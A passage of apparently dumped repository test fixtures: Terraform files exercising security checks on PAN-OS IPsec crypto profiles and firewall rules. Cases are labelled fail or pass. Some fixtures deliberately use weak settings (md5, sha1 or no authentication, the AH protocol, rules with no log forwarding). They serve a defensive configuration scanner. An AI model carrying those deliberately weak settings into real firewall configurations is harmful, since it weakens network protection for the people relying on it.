    "content": "# The \"authentications\" attribute can be used in either the panos_ipsec_crypto_profile or the panos_panorama_ipsec_crypto_profile resource.\n# Both resource types are covered by this check.\n\n# Fails\n\n# Fails for each insecure algorithm on their own\n\nresource \"panos_ipsec_crypto_profile\" \"fail1\" {\n    name = \"fail1\"\n    authentications = [\"none\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_ipsec_crypto_profile\" \"fail2\" {\n    name = \"fail2\"\n    authentications = [\"md5\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_ipsec_crypto_profile\" \"fail3\" {\n    name = \"fail3\"\n    authentications = [\"sha1\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_panorama_ipsec_crypto_profile\" \"fail4\" {\n    name = \"fail4\"\n    template = \"template-name\"\n    authentications = [\"none\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_panorama_ipsec_crypto_profile\" \"fail5\" {\n    name = \"fail5\"\n    template = \"template-name\"\n    authentications = [\"md5\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_panorama_ipsec_crypto_profile\" \"fail6\" {\n    name = \"fail6\"\n    template = \"template-name\"\n    authentications = [\"sha1\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\n# Fails with one secure and one insecure\n\nresource \"panos_ipsec_crypto_profile\" \"fail7\" {\n    name = \"fail7\"\n    authentications = [\"sha512\", \"sha1\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_ipsec_crypto_profile\" \"fail8\" {\n    name = \"fail8\"\n    authentications = [\"sha1\", \"sha512\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_panorama_ipsec_crypto_profile\" \"fail9\" {\n    name = \"fail9\"\n    template = \"template-name\"\n    authentications = [\"sha512\", \"sha1\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_panorama_ipsec_crypto_profile\" \"fail10\" {\n    name = \"fail10\"\n    template = \"template-name\"\n    authentications = [\"sha1\", \"sha512\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\n\n\n# Passes with single algorithms\n\nresource \"panos_ipsec_crypto_profile\" \"pass1\" {\n    name = \"pass1\"\n    authentications = [\"sha512\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_panorama_ipsec_crypto_profile\" \"pass2\" {\n    name = \"pass2\"\n    template = \"template-name\"\n    authentications = [\"sha512\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_ipsec_crypto_profile\" \"pass3\" {\n    name = \"pass3\"\n    authentications = [\"sha384\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_panorama_ipsec_crypto_profile\" \"pass4\" {\n    name = \"pass4\"\n    template = \"template-name\"\n    authentications = [\"sha384\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_ipsec_crypto_profile\" \"pass5\" {\n    name = \"pass5\"\n    authentications = [\"sha256\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_panorama_ipsec_crypto_profile\" \"pass6\" {\n    name = \"pass6\"\n    template = \"template-name\"\n    authentications = [\"sha256\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\n# Passes with multiple algorithms\n\nresource \"panos_ipsec_crypto_profile\" \"pass7\" {\n    name = \"pass7\"\n    authentications = [\"sha384\", \"sha256\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n\nresource \"panos_panorama_ipsec_crypto_profile\" \"pass8\" {\n    name = \"pass8\"\n    template = \"template-name\"\n    authentications = [\"sha384\", \"sha256\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/panos/example_NetworkIPsecProtocols/main.tf",
    "content": "# The \"protocol\" attribute can be used in either the panos_ipsec_crypto_profile or the panos_panorama_ipsec_crypto_profile resource.\n# Both resource types are covered by this check.\n\n# Fails\n\n# Setting the protocol attribute to \"ah\" uses Authentication Header, which only provides connection authentication and not confidentiality, and is therefore a fail, we only want to see ESP in use\nresource \"panos_ipsec_crypto_profile\" \"fail1\" {\n    name = \"fail1\"\n    authentications = [\"sha384\", \"sha256\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n    protocol = \"ah\"\n}\n# Setting the protocol attribute to \"ah\" uses Authentication Header, which only provides connection authentication and not confidentiality, and is therefore a fail, we only want to see ESP in use\nresource \"panos_panorama_ipsec_crypto_profile\" \"fail2\" {\n    name = \"fail2\"\n    authentications = [\"sha384\", \"sha256\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n    protocol = \"ah\"\n}\n\n# Passes\n\n# Setting the protocol attribute to \"esp\" uses Encapsulating Security Payload, which provides connection authentication and confidentiality, and is therefore a pass\nresource \"panos_ipsec_crypto_profile\" \"pass1\" {\n    name = \"pass1\"\n    authentications = [\"sha384\", \"sha256\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n    protocol = \"esp\"\n}\n# Setting the protocol attribute to \"esp\" uses Encapsulating Security Payload, which provides connection authentication and confidentiality, and is therefore a pass\nresource \"panos_panorama_ipsec_crypto_profile\" \"pass2\" {\n    name = \"pass2\"\n    authentications = [\"sha384\", \"sha256\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n    protocol = \"esp\"\n}\n\n# Not explicitly setting the protocol attribute when creating an IPsec profile leads to the default setting of \"esp\", using Encapsulating Security Payload, which provides connection authentication and confidentiality, and is therefore a pass\nresource \"panos_ipsec_crypto_profile\" \"pass3\" {\n    name = \"pass3\"\n    authentications = [\"sha384\", \"sha256\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n# Not explicitly setting the protocol attribute when creating an IPsec profile leads to the default setting of \"esp\", using Encapsulating Security Payload, which provides connection authentication and confidentiality, and is therefore a pass\nresource \"panos_panorama_ipsec_crypto_profile\" \"pass4\" {\n    name = \"pass4\"\n    authentications = [\"sha384\", \"sha256\"]\n    encryptions = [\"aes-256-gcm\"]\n    dh_group = \"group14\"\n    lifetime_type = \"hours\"\n    lifetime_value = 4\n    lifesize_type = \"mb\"\n    lifesize_value = 1\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/panos/example_PolicyDescription/main.tf",
    "content": "# The description be used in either the panos_security_policy resource or the panos_security_rule_group resource.\n# Both resource types are covered by this check.\n\n# Fails\n\n# Security rules should should have a description populated to communicate the purpose for the rule, absence of the description attribute is therefore a fail\nresource \"panos_security_policy\" \"fail1\" {\n    rule {\n        name = \"my-bad-rule-fail1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n}\n\n# Security rules should should have a description populated to communicate the purpose for the rule, absence of the description attribute is therefore a fail\nresource \"panos_security_rule_group\" \"fail2\" {\n    rule {\n        name = \"my-bad-rule-fail2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n}\n\n# Security rules should should have a description populated to communicate the purpose for the rule, any empty description attribute is therefore a fail\nresource \"panos_security_policy\" \"fail3\" {\n    rule {\n        name = \"my-bad-rule-fail3\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"\"\n    }\n}\n\n# Security rules should should have a description populated to communicate the purpose for the rule, an empty description attribute is therefore a fail\nresource \"panos_security_rule_group\" \"fail4\" {\n    rule {\n        name = \"my-bad-rule-fail4\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"\"\n    }\n}\n\n# Security rules should should have a description populated to communicate the purpose for the rule, any empty description attribute is therefore a fail (2nd rule)\nresource \"panos_security_policy\" \"fail5\" {\n    rule {\n        name = \"my-good-rule-fail5\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n    }\n    rule {\n        name = \"my-bad-rule-fail5\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"\"\n    }\n}\n\n# Security rules should should have a description populated to communicate the purpose for the rule, an empty description attribute is therefore a fail (2nd rule)\nresource \"panos_security_rule_group\" \"fail6\" {\n    rule {\n        name = \"my-good-rule-fail6\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n    }\n    rule {\n        name = \"my-bad-rule-fail6\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"\"\n    }\n}\n\n# Security rules should should have a description populated to communicate the purpose for the rule, absence of the description attribute is therefore a fail (2nd rule)\nresource \"panos_security_policy\" \"fail7\" {\n    rule {\n        name = \"my-good-rule-fail7\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n    }\n    rule {\n        name = \"my-bad-rule-fail7\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n}\n\n# Security rules should should have a description populated to communicate the purpose for the rule, absence of the description attribute is therefore a fail (2nd rule)\nresource \"panos_security_rule_group\" \"fail8\" {\n    rule {\n        name = \"my-good-rule-fail8\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n    }\n    rule {\n        name = \"my-bad-rule-fail8\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n    }\n}\n\n# Security rules should should have a description populated to communicate the purpose for the rule, any empty description attribute is therefore a fail (even strings of spaces) \nresource \"panos_security_policy\" \"fail9\" {\n    rule {\n        name = \"my-bad-rule-fail9\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"  \"\n    }\n}\n\n# Security rules should should have a description populated to communicate the purpose for the rule, an empty description attribute is therefore a fail (even strings of spaces)\nresource \"panos_security_rule_group\" \"fail10\" {\n    rule {\n        name = \"my-bad-rule-fail10\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"  \"\n    }\n}\n\n\n# Passes\n\n# Security rules should should have a description populated to communicate the purpose for the rule\nresource \"panos_security_policy\" \"pass1\" {\n    rule {\n        name = \"my-good-rule-pass1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n    }\n}\n\n# Security rules should should have a description populated to communicate the purpose for the rule\nresource \"panos_security_rule_group\" \"pass2\" {\n    rule {\n        name = \"my-good-rule-pass2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n    }\n}\n\n# Security rules should should have a description populated to communicate the purpose for the rule, test block with 2 passing rules \nresource \"panos_security_policy\" \"pass3\" {\n    rule {\n        name = \"my-good-rule-pass3-1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n    }\n    rule {\n        name = \"my-good-rule-pass3-2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n    }\n}\n\n# Security rules should should have a description populated to communicate the purpose for the rule, test block with 2 passing rules\nresource \"panos_security_rule_group\" \"pass4\" {\n    rule {\n        name = \"my-good-rule-pass4-1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n    }\n    rule {\n        name = \"my-good-rule-pass4-2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n    }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/panos/example_PolicyLogForwarding/main.tf",
    "content": "# The Log Forwarding Profile attribute \"log_setting\" be used in either the panos_security_policy resource or the panos_security_rule_group resource.\n# Both resource types are covered by this check.\n\n# Fails\n\n# Security rules should should have a log_setting populated to ensure logs are sent to Panorama and/or a logging server, therefore absence of the log_setting attribute is therefore a fail\nresource \"panos_security_policy\" \"fail1\" {\n    rule {\n        name = \"my-bad-rule-fail1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n    }\n}\n\n# Security rules should should have a log_setting populated to ensure logs are sent to Panorama and/or a logging server, therefore absence of the log_setting attribute is therefore a fail\nresource \"panos_security_rule_group\" \"fail2\" {\n    rule {\n        name = \"my-bad-rule-fail2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n    }\n}\n\n# Security rules should should have a log_setting populated to ensure logs are sent to Panorama and/or a logging server, therefore any empty log_setting attribute is a fail\nresource \"panos_security_policy\" \"fail3\" {\n    rule {\n        name = \"my-bad-rule-fail3\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"\"\n    }\n}\n\n# Security rules should should have a log_setting populated to ensure logs are sent to Panorama and/or a logging server, therefore any empty log_setting attribute is a fail\nresource \"panos_security_rule_group\" \"fail4\" {\n    rule {\n        name = \"my-bad-rule-fail4\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"\"\n    }\n}\n\n# Security rules should should have a log_setting populated to ensure logs are sent to Panorama and/or a logging server, therefore any empty log_setting attribute is a fail (2nd rule)\nresource \"panos_security_policy\" \"fail5\" {\n    rule {\n        name = \"my-good-rule-fail5\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n    }\n    rule {\n        name = \"my-bad-rule-fail5\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"\"\n    }\n}\n\n# Security rules should should have a log_setting populated to ensure logs are sent to Panorama and/or a logging server, therefore any empty log_setting attribute is a fail (2nd rule)\nresource \"panos_security_rule_group\" \"fail6\" {\n    rule {\n        name = \"my-good-rule-fail6\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n    }\n    rule {\n        name = \"my-bad-rule-fail6\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"\"\n    }\n}\n\n# Security rules should should have a log_setting populated to ensure logs are sent to Panorama and/or a logging server, therefore absence of the log_setting attribute is therefore a fail (2nd rule)\nresource \"panos_security_policy\" \"fail7\" {\n    rule {\n        name = \"my-good-rule-fail7\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n    }\n    rule {\n        name = \"my-bad-rule-fail7\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n    }\n}\n\n# Security rules should should have a log_setting populated to ensure logs are sent to Panorama and/or a logging server, therefore absence of the log_setting attribute is therefore a fail (2nd rule)\nresource \"panos_security_rule_group\" \"fail8\" {\n    rule {\n        name = \"my-good-rule-fail8\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n    }\n    rule {\n        name = \"my-bad-rule-fail8\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n\n    }\n}\n\n# Security rules should should have a log_setting populated to ensure logs are sent to Panorama and/or a logging server, therefore any empty log_setting attribute is a fail (even strings of spaces) \nresource \"panos_security_policy\" \"fail9\" {\n    rule {\n        name = \"my-bad-rule-fail9\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"  \"\n    }\n}\n\n# Security rules should should have a log_setting populated to ensure logs are sent to Panorama and/or a logging server, therefore any empty log_setting attribute is a fail (even strings of spaces)\nresource \"panos_security_rule_group\" \"fail10\" {\n    rule {\n        name = \"my-bad-rule-fail10\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"  \"\n    }\n}\n\n\n# Passes\n\n# Security rules should should have a log_setting populated to ensure logs are sent to Panorama and/or a logging server\nresource \"panos_security_policy\" \"pass1\" {\n    rule {\n        name = \"my-good-rule-pass1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n    }\n}\n\n# Security rules should should have a log_setting populated to ensure logs are sent to Panorama and/or a logging server\nresource \"panos_security_rule_group\" \"pass2\" {\n    rule {\n        name = \"my-good-rule-pass2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"any\"]\n        action = \"allow\"\n        description = \"This rule is for...\"\n        log_setting = \"my-log-fwd-profile\"\n    }\n}\n\n# Security rules should should have a log_setting populated to ensure logs are sent to Panorama and/or a logging server, test block with 2 passing rules \nresource \"panos_security_policy\" \"pass3\" {\n    rule {\n        name = \"my-good-rule-pass3-1\"\n        source_zones = [\"any\"]\n        source_addresses = 